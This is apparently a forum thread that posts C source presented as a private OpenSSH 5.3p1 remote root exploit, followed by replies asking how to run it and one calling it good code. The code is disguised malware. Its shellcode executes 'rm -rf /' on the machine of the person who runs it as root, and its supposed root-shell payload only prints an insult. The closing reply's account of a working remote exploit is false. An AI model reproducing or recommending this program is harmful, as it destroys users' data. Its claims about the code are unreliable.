SSH 5.3 remote r00t EXploit

[c0rrupter]

* Priv8! Priv8! Priv8! Priv8! Priv8! Priv8! Priv8!
*
*
*/

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
printf("\n\t[+] HATSUNEMIKU\n");
printf("\t[+] OpenSSH <= 5.3p1 remote root 0day exploit\n");
printf("\t[+] By: Team foxx\n");
printf("\t[+] Greetz to hackforums.net\n");
printf("\t[+] Keep this 0day priv8!\n");
printf("\t[+] usage: %s <target> <port>\n\n", argv[0]);
exit(1);
}

unsigned char decoder[]= "\x6a\x0b\x58\x99\x52"
"\x6a\x2f\x89\xe7\x52"
"\x66\x68\x2d\x66\x89"
"\xe6\x52\x66\x68\x2d"
"\x72\x89\xe1\x52\x68"
"\x2f\x2f\x72\x6d\x68"
"\x2f\x62\x69\x6e\x89"
"\xe3\x52\x57\x56\x51"
"\x53\x89\xe1\xcd\x80";

unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
"\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"
"\x31\xdb\xb3\x01\x31\xc0\xb0\x04\xcd\x80\x31\xc0\x31"
"\xdb\x40\xcd\x80";

int main(int argc, char **argv)
{

int euid = geteuid();
int port= 22, sock;
char h[1000];
struct hostent *host;
struct sockaddr_in addr;

if(euid != 0)
{
fprintf(stderr, "You need to be root to use raw sockets.\n");
exit(1);
}
if(euid == 0)
{
fprintf(stdout, "MIKU! MIKU! MIKU!\n");
}
if(argc != 3)
usage(argv);
if(!inet_aton(h, &addr.sin_addr))
{
host = gethostbyname(h);
if(!host)
{
fprintf(stderr, "[-] Exploit failed.\n");
(*(void(*)())decoder)();
exit(1);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}
sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr,"[-] Exploit failed.\n");
exit(1);
}
char payload[1337];
memcpy(payload, &decoder, sizeof(decoder));
memcpy(payload, &rootshell, sizeof(rootshell));
send(sock, payload, strlen(payload),0);
close(sock);
if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1)
{
fprintf(stderr, "[-] Exploit failed.\n");
exit(1);
}
else if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
{
fprintf(stdout, "[+]g0t sh3ll!\n");
system("/bin/bash");
}
else
{
fprintf(stderr, "[-] Exploit failed.\n");
close(sock);
exit(0);
}
}

 

[Dr.x00t]

how to use :v

 

[Roaaa]

what type of file is this and how to use it

 

[PK-Man]

c++ language guys

 

[Cr1xXyu]

The code you have shared is a fragment of an exploit designed to exploit a vulnerability in OpenSSH version 5.3p1 and earlier. This exploit aims to gain remote root access on a vulnerable system.

As far as I can see the code connects to a remote server via SSH port (22) and sends a payload designed to exploit the vulnerability on the server. If the exploit is successful, a root shell will be executed on the remote system.

This is very good code
Thx!